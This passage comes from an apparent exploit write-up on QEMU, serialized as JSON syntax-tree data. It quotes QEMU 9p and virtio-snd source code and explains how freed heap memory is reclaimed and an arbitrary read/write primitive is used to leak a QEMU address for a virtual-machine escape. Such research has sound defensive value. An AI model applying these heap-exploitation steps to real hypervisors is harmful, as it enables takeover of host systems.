[...]\n",[130402],{"type":21,"tag":66,"props":130403,"children":130404},{"__ignoreMap":7},[130405,130445,130452,130468,130496,130503,130510,130517,130538,130545,130560,130582,130606,130627,130638,130645,130683,130725,130732,130739,130746,130753,130760,130811,130818,130833,130840,130888,130900,130908,130937,130952,130959,130988,130995],{"type":21,"tag":85,"props":130406,"children":130407},{"class":87,"line":88},[130408,130412,130416,130420,130425,130429,130433,130437,130441],{"type":21,"tag":85,"props":130409,"children":130410},{"style":102},[130411],{"type":26,"value":51500},{"type":21,"tag":85,"props":130413,"children":130414},{"style":102},[130415],{"type":26,"value":51505},{"type":21,"tag":85,"props":130417,"children":130418},{"style":114},[130419],{"type":26,"value":128406},{"type":21,"tag":85,"props":130421,"children":130422},{"style":1021},[130423],{"type":26,"value":130424},"v9fs_walk",{"type":21,"tag":85,"props":130426,"children":130427},{"style":114},[130428],{"type":26,"value":1439},{"type":21,"tag":85,"props":130430,"children":130431},{"style":102},[130432],{"type":26,"value":52083},{"type":21,"tag":85,"props":130434,"children":130435},{"style":169},[130436],{"type":26,"value":10231},{"type":21,"tag":85,"props":130438,"children":130439},{"style":120},[130440],{"type":26,"value":128428},{"type":21,"tag":85,"props":130442,"children":130443},{"style":114},[130444],{"type":26,"value":2485},{"type":21,"tag":85,"props":130446,"children":130447},{"class":87,"line":98},[130448],{"type":21,"tag":85,"props":130449,"children":130450},{"style":114},[130451],{"type":26,"value":11296},{"type":21,"tag":85,"props":130453,"children":130454},{"class":87,"line":151},[130455,130459,130463],{"type":21,"tag":85,"props":130456,"children":130457},{"style":114},[130458],{"type":26,"value":128553},{"type":21,"tag":85,"props":130460,"children":130461},{"style":169},[130462],{"type":26,"value":3052},{"type":21,"tag":85,"props":130464,"children":130465},{"style":114},[130466],{"type":26,"value":130467},"fidp;\n",{"type":21,"tag":85,"props":130469,"children":130470},{"class":87,"line":160},[130471,130475,130479,130484,130488,130492],{"type":21,"tag":85,"props":130472,"children":130473},{"style":114},[130474],{"type":26,"value":128553},{"type":21,"tag":85,"props":130476,"children":130477},{"style":169},[130478],{"type":26,"value":3052},{"type":21,"tag":85,"props":130480,"children":130481},{"style":114},[130482],{"type":26,"value":130483},"newfidp ",{"type":21,"tag":85,"props":130485,"children":130486},{"style":169},[130487],{"type":26,"value":741},{"type":21,"tag":85,"props":130489,"children":130490},{"style":102},[130491],{"type":26,"value":128232},{"type":21,"tag":85,"props":130493,"children":130494},{"style":114},[130495],{"type":26,"value":2535},{"type":21,"tag":85,"props":130497,"children":130498},{"class":87,"line":185},[130499],{"type":21,"tag":85,"props":130500,"children":130501},{"emptyLinePlaceholder":16},[130502],{"type":26,"value":703},{"type":21,"tag":85,"props":130504,"children":130505},{"class":87,"line":501},[130506],{"type":21,"tag":85,"props":130507,"children":130508},{"style":114},[130509],{"type":26,"value":105263},{"type":21,"tag":85,"props":130511,"children":130512},{"class":87,"line":697},[130513],{"type":21,"tag":85,"props":130514,"children":130515},{"emptyLinePlaceholder":16},[130516],{"type":26,"value":703},{"type":21,"tag":85,"props":130518,"children":130519},{"class":87,"line":706},[130520,130524,130529,130533],{"type":21,"tag":85,"props":130521,"children":130522},{"style":2885},[130523],{"type":26,"value":12696},{"type":21,"tag":85,"props":130525,"children":130526},{"style":114},[130527],{"type":26,"value":130528}," (fid ",{"type":21,"tag":85,"props":130530,"children":130531},{"style":169},[130532],{"type":26,"value":2936},{"type":21,"tag":85,"props":130534,"children":130535},{"style":114},[130536],{"type":26,"value":130537}," newfid) {\n",{"type":21,"tag":85,"props":130539,"children":130540},{"class":87,"line":1100},[130541],{"type":21,"tag":85,"props":130542,"children":130543},{"style":114},[130544],{"type":26,"value":124501},{"type":21,"tag":85,"props":130546,"children":130547},{"class":87,"line":1339},[130548,130552,130556],{"type":21,"tag":85,"props":130549,"children":130550},{"style":114},[130551],{"type":26,"value":16199},{"type":21,"tag":85,"props":130553,"children":130554},{"style":2885},[130555],{"type":26,"value":4086},{"type":21,"tag":85,"props":130557,"children":130558},{"style":114},[130559],{"type":26,"value":148},{"type":21,"tag":85,"props":130561,"children":130562},{"class":87,"line":1348},[130563,130568,130572,130577],{"type":21,"tag":85,"props":130564,"children":130565},{"style":114},[130566],{"type":26,"value":130567},"        newfidp ",{"type":21,"tag":85,"props":130569,"children":130570},{"style":169},[130571],{"type":26,"value":741},{"type":21,"tag":85,"props":130573,"children":130574},{"style":1021},[130575],{"type":26,"value":130576}," alloc_fid",{"type":21,"tag":85,"props":130578,"children":130579},{"style":114},[130580],{"type":26,"value":130581},"(s, newfid);\n",{"type":21,"tag":85,"props":130583,"children":130584},{"class":87,"line":1386},[130585,130589,130594,130598,130602],{"type":21,"tag":85,"props":130586,"children":130587},{"style":2885},[130588],{"type":26,"value":4044},{"type":21,"tag":85,"props":130590,"children":130591},{"style":114},[130592],{"type":26,"value":130593}," (newfidp ",{"type":21,"tag":85,"props":130595,"children":130596},{"style":169},[130597],{"type":26,"value":2936},{"type":21,"tag":85,"props":130599,"children":130600},{"style":102},[130601],{"type":26,"value":128232},{"type":21,"tag":85,"props":130603,"children":130604},{"style":114},[130605],{"type":26,"value":15222},{"type":21,"tag":85,"props":130607,"children":130608},{"class":87,"line":1394},[130609,130614,130618,130622],{"type":21,"tag":85,"props":130610,"children":130611},{"style":114},[130612],{"type":26,"value":130613},"            err ",{"type":21,"tag":85,"props":130615,"children":130616},{"style":169},[130617],{"type":26,"value":741},{"type":21,"tag":85,"props":130619,"children":130620},{"style":169},[130621],{"type":26,"value":51711},{"type":21,"tag":85,"props":130623,"children":130624},{"style":114},[130625],{"type":26,"value":130626},"EINVAL;\n",{"type":21,"tag":85,"props":130628,"children":130629},{"class":87,"line":1402},[130630,130634],{"type":21,"tag":85,"props":130631,"children":130632},{"style":2885},[130633],{"type":26,"value":61007},{"type":21,"tag":85,"props":130635,"children":130636},{"style":114},[130637],{"type":26,"value":61012},{"type":21,"tag":85,"props":130639,"children":130640},{"class":87,"line":3145},[130641],{"type":21,"tag":85,"props":130642,"children":130643},{"style":114},[130644],{"type":26,"value":4118},{"type":21,"tag":85,"props":130646,"children":130647},{"class":87,"line":3246},[130648,130653,130657,130662,130666,130671,130675,130679],{"type":21,"tag":85,"props":130649,"children":130650},{"style":120},[130651],{"type":26,"value":130652},"        newfidp",{"type":21,"tag":85,"props":130654,"children":130655},{"style":114},[130656],{"type":26,"value":14175},{"type":21,"tag":85,"props":130658,"children":130659},{"style":120},[130660],{"type":26,"value":130661},"uid",{"type":21,"tag":85,"props":130663,"children":130664},{"style":169},[130665],{"type":26,"value":1941},{"type":21,"tag":85,"props":130667,"children":130668},{"style":120},[130669],{"type":26,"value":130670}," fidp",{"type":21,"tag":85,"props":130672,"children":130673},{"style":114},[130674],{"type":26,"value":14175},{"type":21,"tag":85,"props":130676,"children":130677},{"style":120},[130678],{"type":26,"value":130661},{"type":21,"tag":85,"props":130680,"children":130681},{"style":114},[130682],{"type":26,"value":2535},{"type":21,"tag":85,"props":130684,"children":130685},{"class":87,"line":3255},[130686,130691,130695,130699,130704,130708,130712,130716,130720],{"type":21,"tag":85,"props":130687,"children":130688},{"style":1021},[130689],{"type":26,"value":130690},"        v9fs_path_copy",{"type":21,"tag":85,"props":130692,"children":130693},{"style":114},[130694],{"type":26,"value":1439},{"type":21,"tag":85,"props":130696,"children":130697},{"style":169},[130698],{"type":26,"value":2238},{"type":21,"tag":85,"props":130700,"children":130701},{"style":120},[130702],{"type":26,"value":130703},"newfidp",{"type":21,"tag":85,"props":130705,"children":130706},{"style":114},[130707],{"type":26,"value":14175},{"type":21,"tag":85,"props":130709,"children":130710},{"style":120},[130711],{"type":26,"value":112786},{"type":21,"tag":85,"props":130713,"children":130714},{"style":114},[130715],{"type":26,"value":256},{"type":21,"tag":85,"props":130717,"children":130718},{"style":169},[130719],{"type":26,"value":2238},{"type":21,"tag":85,"props":130721,"children":130722},{"style":114},[130723],{"type":26,"value":130724},"path);\n",{"type":21,"tag":85,"props":130726,"children":130727},{"class":87,"line":3286},[130728],{"type":21,"tag":85,"props":130729,"children":130730},{"style":114},[130731],{"type":26,"value":507},{"type":21,"tag":85,"props":130733,"children":130734},{"class":87,"line":3295},[130735],{"type":21,"tag":85,"props":130736,"children":130737},{"emptyLinePlaceholder":16},[130738],{"type":26,"value":703},{"type":21,"tag":85,"props":130740,"children":130741},{"class":87,"line":3308},[130742],{"type":21,"tag":85,"props":130743,"children":130744},{"style":114},[130745],{"type":26,"value":105263},{"type":21,"tag":85,"props":130747,"children":130748},{"class":87,"line":3333},[130749],{"type":21,"tag":85,"props":130750,"children":130751},{"style":114},[130752],{"type":26,"value":2671},{"type":21,"tag":85,"props":130754,"children":130755},{"class":87,"line":3369},[130756],{"type":21,"tag":85,"props":130757,"children":130758},{"emptyLinePlaceholder":16},[130759],{"type":26,"value":703},{"type":21,"tag":85,"props":130761,"children":130762},{"class":87,"line":3377},[130763,130767,130772,130776,130780,130785,130789,130793,130797,130802,130807],{"type":21,"tag":85,"props":130764,"children":130765},{"style":102},[130766],{"type":26,"value":51500},{"type":21,"tag":85,"props":130768,"children":130769},{"style":114},[130770],{"type":26,"value":130771}," V9fsFidState ",{"type":21,"tag":85,"props":130773,"children":130774},{"style":169},[130775],{"type":26,"value":3052},{"type":21,"tag":85,"props":130777,"children":130778},{"style":1021},[130779],{"type":26,"value":130389},{"type":21,"tag":85,"props":130781,"children":130782},{"style":114},[130783],{"type":26,"value":130784},"(V9fsState ",{"type":21,"tag":85,"props":130786,"children":130787},{"style":169},[130788],{"type":26,"value":3052},{"type":21,"tag":85,"props":130790,"children":130791},{"style":120},[130792],{"type":26,"value":11067},{"type":21,"tag":85,"props":130794,"children":130795},{"style":114},[130796],{"type":26,"value":256},{"type":21,"tag":85,"props":130798,"children":130799},{"style":102},[130800],{"type":26,"value":130801},"int32_t",{"type":21,"tag":85,"props":130803,"children":130804},{"style":120},[130805],{"type":26,"value":130806}," fid",{"type":21,"tag":85,"props":130808,"children":130809},{"style":114},[130810],{"type":26,"value":2485},{"type":21,"tag":85,"props":130812,"children":130813},{"class":87,"line":3386},[130814],{"type":21,"tag":85,"props":130815,"children":130816},{"style":114},[130817],{"type":26,"value":11296},{"type":21,"tag":85,"props":130819,"children":130820},{"class":87,"line":3394},[130821,130825,130829],{"type":21,"tag":85,"props":130822,"children":130823},{"style":114},[130824],{"type":26,"value":128553},{"type":21,"tag":85,"props":130826,"children":130827},{"style":169},[130828],{"type":26,"value":3052},{"type":21,"tag":85,"props":130830,"children":130831},{"style":114},[130832],{"type":26,"value":51621},{"type":21,"tag":85,"props":130834,"children":130835},{"class":87,"line":3410},[130836],{"type":21,"tag":85,"props":130837,"children":130838},{"emptyLinePlaceholder":16},[130839],{"type":26,"value":703},{"type":21,"tag":85,"props":130841,"children":130842},{"class":87,"line":3427},[130843,130848,130852,130857,130861,130865,130869,130874,130878,130883],{"type":21,"tag":85,"props":130844,"children":130845},{"style":114},[130846],{"type":26,"value":130847},"    f ",{"type":21,"tag":85,"props":130849,"children":130850},{"style":169},[130851],{"type":26,"value":741},{"type":21,"tag":85,"props":130853,"children":130854},{"style":1021},[130855],{"type":26,"value":130856}," g_hash_table_lookup",{"type":21,"tag":85,"props":130858,"children":130859},{"style":114},[130860],{"type":26,"value":1439},{"type":21,"tag":85,"props":130862,"children":130863},{"style":120},[130864],{"type":26,"value":11067},{"type":21,"tag":85,"props":130866,"children":130867},{"style":114},[130868],{"type":26,"value":14175},{"type":21,"tag":85,"props":130870,"children":130871},{"style":120},[130872],{"type":26,"value":130873},"fids",{"type":21,"tag":85,"props":130875,"children":130876},{"style":114},[130877],{"type":26,"value":256},{"type":21,"tag":85,"props":130879,"children":130880},{"style":1021},[130881],{"type":26,"value":130882},"GINT_TO_POINTER",{"type":21,"tag":85,"props":130884,"children":130885},{"style":114},[130886],{"type":26,"value":130887},"(fid));\n",{"type":21,"tag":85,"props":130889,"children":130890},{"class":87,"line":3445},[130891,130895],{"type":21,"tag":85,"props":130892,"children":130893},{"style":2885},[130894],{"type":26,"value":12696},{"type":21,"tag":85,"props":130896,"children":130897},{"style":114},[130898],{"type":26,"value":130899}," (f) {\n",{"type":21,"tag":85,"props":130901,"children":130902},{"class":87,"line":3490},[130903],{"type":21,"tag":85,"props":130904,"children":130905},{"style":92},[130906],{"type":26,"value":130907},"        /* If fid is already there return NULL */\n",{"type":21,"tag":85,"props":130909,"children":130910},{"class":87,"line":3596},[130911,130916,130920,130924,130928,130933],{"type":21,"tag":85,"props":130912,"children":130913},{"style":1021},[130914],{"type":26,"value":130915},"        BUG_ON",{"type":21,"tag":85,"props":130917,"children":130918},{"style":114},[130919],{"type":26,"value":1439},{"type":21,"tag":85,"props":130921,"children":130922},{"style":120},[130923],{"type":26,"value":33531},{"type":21,"tag":85,"props":130925,"children":130926},{"style":114},[130927],{"type":26,"value":14175},{"type":21,"tag":85,"props":130929,"children":130930},{"style":120},[130931],{"type":26,"value":130932},"clunked",{"type":21,"tag":85,"props":130934,"children":130935},{"style":114},[130936],{"type":26,"value":777},{"type":21,"tag":85,"props":130938,"children":130939},{"class":87,"line":23938},[130940,130944,130948],{"type":21,"tag":85,"props":130941,"children":130942},{"style":2885},[130943],{"type":26,"value":16164},{"type":21,"tag":85,"props":130945,"children":130946},{"style":102},[130947],{"type":26,"value":128232},{"type":21,"tag":85,"props":130949,"children":130950},{"style":114},[130951],{"type":26,"value":2535},{"type":21,"tag":85,"props":130953,"children":130954},{"class":87,"line":23973},[130955],{"type":21,"tag":85,"props":130956,"children":130957},{"style":114},[130958],{"type":26,"value":507},{"type":21,"tag":85,"props":130960,"children":130961},{"class":87,"line":23981},[130962,130966,130970,130975,130980,130984],{"type":21,"tag":85,"props":130963,"children":130964},{"style":114},[130965],{"type":26,"value":130847},{"type":21,"tag":85,"props":130967,"children":130968},{"style":169},[130969],{"type":26,"value":741},{"type":21,"tag":85,"props":130971,"children":130972},{"style":1021},[130973],{"type":26,"value":130974}," g_new0",{"type":21,"tag":85,"props":130976,"children":130977},{"style":114},[130978],{"type":26,"value":130979},"(V9fsFidState, ",{"type":21,"tag":85,"props":130981,"children":130982},{"style":2285},[130983],{"type":26,"value":4779},{"type":21,"tag":85,"props":130985,"children":130986},{"style":114},[130987],{"type":26,"value":777},{"type":21,"tag":85,"props":130989,"children":130990},{"class":87,"line":23989},[130991],{"type":21,"tag":85,"props":130992,"children":130993},{"emptyLinePlaceholder":16},[130994],{"type":26,"value":703},{"type":21,"tag":85,"props":130996,"children":130997},{"class":87,"line":23998},[130998],{"type":21,"tag":85,"props":130999,"children":131000},{"style":114},[131001],{"type":26,"value":105263},{"type":21,"tag":22,"props":131003,"children":131004},{},[131005,131007,131012],{"type":26,"value":131006},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":21,"tag":66,"props":131008,"children":131010},{"className":131009},[],[131011],{"type":26,"value":129807},{"type":26,"value":129144},{"type":21,"tag":75,"props":131014,"children":131016},{"code":131015},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[131017],{"type":21,"tag":66,"props":131018,"children":131019},{"__ignoreMap":7},[131020],{"type":26,"value":131015},{"type":21,"tag":19318,"props":131022,"children":131024},{"id":131023},"leaking-a-qemu-address",[131025],{"type":26,"value":131026},"Leaking a QEMU Address",{"type":21,"tag":22,"props":131028,"children":131029},{},[131030],{"type":26,"value":131031},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":21,"tag":22,"props":131033,"children":131034},{},[131035,131037,131042],{"type":26,"value":131036},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":21,"tag":66,"props":131038,"children":131040},{"className":131039},[],[131041],{"type":26,"value":124227},{"type":26,"value":172},{"type":21,"tag":75,"props":131044,"children":131046},{"code":131045,"language":3918,"meta":7,"className":16935,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[131047],{"type":21,"tag":66,"props":131048,"children":131049},{"__ignoreMap":7},[131050,131093,131100,131131,131146,131161,131173,131186,131193,131200,131207,131218,131233,131240,131268,131287,131298,131305,131313,131350,131371,131383,131396,131409,131435,131447,131454,131492,131499,131506,131513,131544,131599,131611,131652,131675,131704,131731,131758,131790],{"type":21,"tag":85,"props":131051,"children":131052},{"class":87,"line":88},[131053,131057,131061,131065,131069,131073,131077,131081,131085,131089],{"type":21,"tag":85,"props":131054,"children":131055},{"style":102},[131056],{"type":26,"value":51500},{"type":21,"tag":85,"props":131058,"children":131059},{"style":102},[131060],{"type":26,"value":51505},{"type":21,"tag":85,"props":131062,"children":131063},{"style":1021},[131064],{"type":26,"value":124306},{"type":21,"tag":85,"props":131066,"children":131067},{"style":114},[131068],{"type":26,"value":124311},{"type":21,"tag":85,"props":131070,"children":131071},{"style":169},[131072],{"type":26,"value":3052},{"type":21,"tag":85,"props":131074,"children":131075},{"style":120},[131076],{"type":26,"value":124320},{"type":21,"tag":85,"props":131078,"children":131079},{"style":114},[131080],{"type":26,"value":124325},{"type":21,"tag":85,"props":131082,"children":131083},{"style":169},[131084],{"type":26,"value":3052},{"type":21,"tag":85,"props":131086,"children":131087},{"style":120},[131088],{"type":26,"value":124334},{"type":21,"tag":85,"props":131090,"children":131091},{"style":114},[131092],{"type":26,"value":2485},{"type":21,"tag":85,"props":131094,"children":131095},{"class":87,"line":98},[131096],{"type":21,"tag":85,"props":131097,"children":131098},{"style":114},[131099],{"type":26,"value":11296},{"type":21,"tag":85,"props":131101,"children":131102},{"class":87,"line":151},[131103,131108,131112,131117,131121,131126],{"type":21,"tag":85,"props":131104,"children":131105},{"style":114},[131106],{"type":26,"value":131107},"    VirtIOSound ",{"type":21,"tag":85,"props":131109,"children":131110},{"style":169},[131111],{"type":26,"value":3052},{"type":21,"tag":85,"props":131113,"children":131114},{"style":114},[131115],{"type":26,"value":131116},"vsnd ",{"type":21,"tag":85,"props":131118,"children":131119},{"style":169},[131120],{"type":26,"value":741},{"type":21,"tag":85,"props":131122,"children":131123},{"style":1021},[131124],{"type":26,"value":131125}," VIRTIO_SND",{"type":21,"tag":85,"props":131127,"children":131128},{"style":114},[131129],{"type":26,"value":131130},"(vdev);\n",{"type":21,"tag":85,"props":131132,"children":131133},{"class":87,"line":160},[131134,131138,131142],{"type":21,"tag":85,"props":131135,"children":131136},{"style":114},[131137],{"type":26,"value":125324},{"type":21,"tag":85,"props":131139,"children":131140},{"style":169},[131141],{"type":26,"value":3052},{"type":21,"tag":85,"props":131143,"children":131144},{"style":114},[131145],{"type":26,"value":125333},{"type":21,"tag":85,"props":131147,"children":131148},{"class":87,"line":185},[131149,131153,131157],{"type":21,"tag":85,"props":131150,"children":131151},{"style":114},[131152],{"type":26,"value":124353},{"type":21,"tag":85,"props":131154,"children":131155},{"style":169},[131156],{"type":26,"value":3052},{"type":21,"tag":85,"props":131158,"children":131159},{"style":114},[131160],{"type":26,"value":124362},{"type":21,"tag":85,"props":131162,"children":131163},{"class":87,"line":501},[131164,131168],{"type":21,"tag":85,"props":131165,"children":131166},{"style":102},[131167],{"type":26,"value":16985},{"type":21,"tag":85,"props":131169,"children":131170},{"style":114},[131171],{"type":26,"value":131172}," msg_sz, size;\n",{"type":21,"tag":85,"props":131174,"children":131175},{"class":87,"line":697},[131176,131181],{"type":21,"tag":85,"props":131177,"children":131178},{"style":102},[131179],{"type":26,"value":131180},"    uint32_t",{"type":21,"tag":85,"props":131182,"children":131183},{"style":114},[131184],{"type":26,"value":131185}," stream_id;\n",{"type":21,"tag":85,"props":131187,"children":131188},{"class":87,"line":706},[131189],{"type":21,"tag":85,"props":131190,"children":131191},{"emptyLinePlaceholder":16},[131192],{"type":26,"value":703},{"type":21,"tag":85,"props":131194,"children":131195},{"class":87,"line":1100},[131196],{"type":21,"tag":85,"props":131197,"children":131198},{"style":114},[131199],{"type":26,"value":105263},{"type":21,"tag":85,"props":131201,"children":131202},{"class":87,"line":1339},[131203],{"type":21,"tag":85,"props":131204,"children":131205},{"emptyLinePlaceholder":16},[131206],{"type":26,"value":703},{"type":21,"tag":85,"props":131208,"children":131209},{"class":87,"line":1348},[131210,131214],{"type":21,"tag":85,"props":131211,"children":131212},{"style":2885},[131213],{"type":26,"value":3809},{"type":21,"tag":85,"props":131215,"children":131216},{"style":114},[131217],{"type":26,"value":124388},{"type":21,"tag":85,"props":131219,"children":131220},{"class":87,"line":1386},[131221,131225,131229],{"type":21,"tag":85,"props":131222,"children":131223},{"style":114},[131224],{"type":26,"value":124396},{"type":21,"tag":85,"props":131226,"children":131227},{"style":169},[131228],{"type":26,"value":3052},{"type":21,"tag":85,"props":131230,"children":131231},{"style":114},[131232],{"type":26,"value":124405},{"type":21,"tag":85,"props":131234,"children":131235},{"class":87,"line":1394},[131236],{"type":21,"tag":85,"props":131237,"children":131238},{"emptyLinePlaceholder":16},[131239],{"type":26,"value":703},{"type":21,"tag":85,"props":131241,"children":131242},{"class":87,"line":1402},[131243,131247,131251,131255,131259,131263],{"type":21,"tag":85,"props":131244,"children":131245},{"style":114},[131246],{"type":26,"value":124420},{"type":21,"tag":85,"props":131248,"children":131249},{"style":169},[131250],{"type":26,"value":741},{"type":21,"tag":85,"props":131252,"children":131253},{"style":1021},[131254],{"type":26,"value":124429},{"type":21,"tag":85,"props":131256,"children":131257},{"style":114},[131258],{"type":26,"value":124434},{"type":21,"tag":85,"props":131260,"children":131261},{"style":102},[131262],{"type":26,"value":55784},{"type":21,"tag":85,"props":131264,"children":131265},{"style":114},[131266],{"type":26,"value":131267},"(VirtQueueElement));\n",{"type":21,"tag":85,"props":131269,"children":131270},{"class":87,"line":3145},[131271,131275,131279,131283],{"type":21,"tag":85,"props":131272,"children":131273},{"style":2885},[131274],{"type":26,"value":4044},{"type":21,"tag":85,"props":131276,"children":131277},{"style":114},[131278],{"type":26,"value":717},{"type":21,"tag":85,"props":131280,"children":131281},{"style":169},[131282],{"type":26,"value":21049},{"type":21,"tag":85,"props":131284,"children":131285},{"style":114},[131286],{"type":26,"value":124468},{"type":21,"tag":85,"props":131288,"children":131289},{"class":87,"line":3246},[131290,131294],{"type":21,"tag":85,"props":131291,"children":131292},{"style":2885},[131293],{"type":26,"value":4069},{"type":21,"tag":85,"props":131295,"children":131296},{"style":114},[131297],{"type":26,"value":2535},{"type":21,"tag":85,"props":131299,"children":131300},{"class":87,"line":3255},[131301],{"type":21,"tag":85,"props":131302,"children":131303},{"style":114},[131304],{"type":26,"value":4118},{"type":21,"tag":85,"props":131306,"children":131307},{"class":87,"line":3286},[131308],{"type":21,"tag":85,"props":131309,"children":131310},{"style":92},[131311],{"type":26,"value":131312},"        /* get the message hdr object */\n",{"type":21,"tag":85,"props":131314,"children":131315},{"class":87,"line":3295},[131316,131321,131325,131330,131334,131338,131342,131346],{"type":21,"tag":85,"props":131317,"children":131318},{"style":114},[131319],{"type":26,"value":131320},"        msg_sz ",{"type":21,"tag":85,"props":131322,"children":131323},{"style":169},[131324],{"type":26,"value":741},{"type":21,"tag":85,"props":131326,"children":131327},{"style":1021},[131328],{"type":26,"value":131329}," iov_to_buf",{"type":21,"tag":85,"props":131331,"children":131332},{"style":114},[131333],{"type":26,"value":1439},{"type":21,"tag":85,"props":131335,"children":131336},{"style":120},[131337],{"type":26,"value":52520},{"type":21,"tag":85,"props":131339,"children":131340},{"style":114},[131341],{"type":26,"value":14175},{"type":21,"tag":85,"props":131343,"children":131344},{"style":120},[131345],{"type":26,"value":124872},{"type":21,"tag":85,"props":131347,"children":131348},{"style":114},[131349],{"type":26,"value":182},{"type":21,"tag":85,"props":131351,"children":131352},{"class":87,"line":3308},[131353,131358,131362,131367],{"type":21,"tag":85,"props":131354,"children":131355},{"style":120},[131356],{"type":26,"value":131357},"                            elem",{"type":21,"tag":85,"props":131359,"children":131360},{"style":114},[131361],{"type":26,"value":14175},{"type":21,"tag":85,"props":131363,"children":131364},{"style":120},[131365],{"type":26,"value":131366},"out_num",{"type":21,"tag":85,"props":131368,"children":131369},{"style":114},[131370],{"type":26,"value":182},{"type":21,"tag":85,"props":131372,"children":131373},{"class":87,"line":3333},[131374,131379],{"type":21,"tag":85,"props":131375,"children":131376},{"style":2285},[131377],{"type":26,"value":131378},"                            0",{"type":21,"tag":85,"props":131380,"children":131381},{"style":114},[131382],{"type":26,"value":182},{"type":21,"tag":85,"props":131384,"children":131385},{"class":87,"line":3369},[131386,131391],{"type":21,"tag":85,"props":131387,"children":131388},{"style":169},[131389],{"type":26,"value":131390},"                            &",{"type":21,"tag":85,"props":131392,"children":131393},{"style":114},[131394],{"type":26,"value":131395},"hdr,\n",{"type":21,"tag":85,"props":131397,"children":131398},{"class":87,"line":3377},[131399,131404],{"type":21,"tag":85,"props":131400,"children":131401},{"style":102},[131402],{"type":26,"value":131403},"                            sizeof",{"type":21,"tag":85,"props":131405,"children":131406},{"style":114},[131407],{"type":26,"value":131408},"(virtio_snd_pcm_xfer));\n",{"type":21,"tag":85,"props":131410,"children":131411},{"class":87,"line":3386},[131412,131416,131421,131425,131430],{"type":21,"tag":85,"props":131413,"children":131414},{"style":2885},[131415],{"type":26,"value":4044},{"type":21,"tag":85,"props":131417,"children":131418},{"style":114},[131419],{"type":26,"value":131420}," (msg_sz ",{"type":21,"tag":85,"props":131422,"children":131423},{"style":169},[131424],{"type":26,"value":16108},{"type":21,"tag":85,"props":131426,"children":131427},{"style":102},[131428],{"type":26,"value":131429}," sizeof",{"type":21,"tag":85,"props":131431,"children":131432},{"style":114},[131433],{"type":26,"value":131434},"(virtio_snd_pcm_xfer)) {\n",{"type":21,"tag":85,"props":131436,"children":131437},{"class":87,"line":3394},[131438,131442],{"type":21,"tag":85,"props":131439,"children":131440},{"style":2885},[131441],{"type":26,"value":61007},{"type":21,"tag":85,"props":131443,"children":131444},{"style":114},[131445],{"type":26,"value":131446}," rx_err;\n",{"type":21,"tag":85,"props":131448,"children":131449},{"class":87,"line":3410},[131450],{"type":21,"tag":85,"props":131451,"children":131452},{"style":114},[131453],{"type":26,"value":4118},{"type":21,"tag":85,"props":131455,"children":131456},{"class":87,"line":3427},[131457,131462,131466,131470,131474,131479,131483,131488],{"type":21,"tag":85,"props":131458,"children":131459},{"style":114},[131460],{"type":26,"value":131461},"        stream_id ",{"type":21,"tag":85,"props":131463,"children":131464},{"style":169},[131465],{"type":26,"value":741},{"type":21,"tag":85,"props":131467,"children":131468},{"style":1021},[131469],{"type":26,"value":126334},{"type":21,"tag":85,"props":131471,"children":131472},{"style":114},[131473],{"type":26,"value":1439},{"type":21,"tag":85,"props":131475,"children":131476},{"style":120},[131477],{"type":26,"value":131478},"hdr",{"type":21,"tag":85,"props":131480,"children":131481},{"style":114},[131482],{"type":26,"value":73},{"type":21,"tag":85,"props":131484,"children":131485},{"style":120},[131486],{"type":26,"value":131487},"stream_id",{"type":21,"tag":85,"props":131489,"children":131490},{"style":114},[131491],{"type":26,"value":777},{"type":21,"tag":85,"props":131493,"children":131494},{"class":87,"line":3445},[131495],{"type":21,"tag":85,"props":131496,"children":131497},{"emptyLinePlaceholder":16},[131498],{"type":26,"value":703},{"type":21,"tag":85,"props":131500,"children":131501},{"class":87,"line":3490},[131502],{"type":21,"tag":85,"props":131503,"children":131504},{"style":114},[131505],{"type":26,"value":124501},{"type":21,"tag":85,"props":131507,"children":131508},{"class":87,"line":3596},[131509],{"type":21,"tag":85,"props":131510,"children":131511},{"emptyLinePlaceholder":16},[131512],{"type":26,"value":703},{"type":21,"tag":85,"props":131514,"children":131515},{"class":87,"line":23938},[131516,131520,131524,131528,131532,131536,131540],{"type":21,"tag":85,"props":131517,"children":131518},{"style":1021},[131519],{"type":26,"value":124516},{"type":21,"tag":85,"props":131521,"children":131522},{"style":114},[131523],{"type":26,"value":1439},{"type":21,"tag":85,"props":131525,"children":131526},{"style":169},[131527],{"type":26,"value":2238},{"type":21,"tag":85,"props":131529,"children":131530},{"style":120},[131531],{"type":26,"value":36709},{"type":21,"tag":85,"props":131533,"children":131534},{"style":114},[131535],{"type":26,"value":14175},{"type":21,"tag":85,"props":131537,"children":131538},{"style":120},[131539],{"type":26,"value":124537},{"type":21,"tag":85,"props":131541,"children":131542},{"style":114},[131543],{"type":26,"value":15222},{"type":21,"tag":85,"props":131545,"children":1315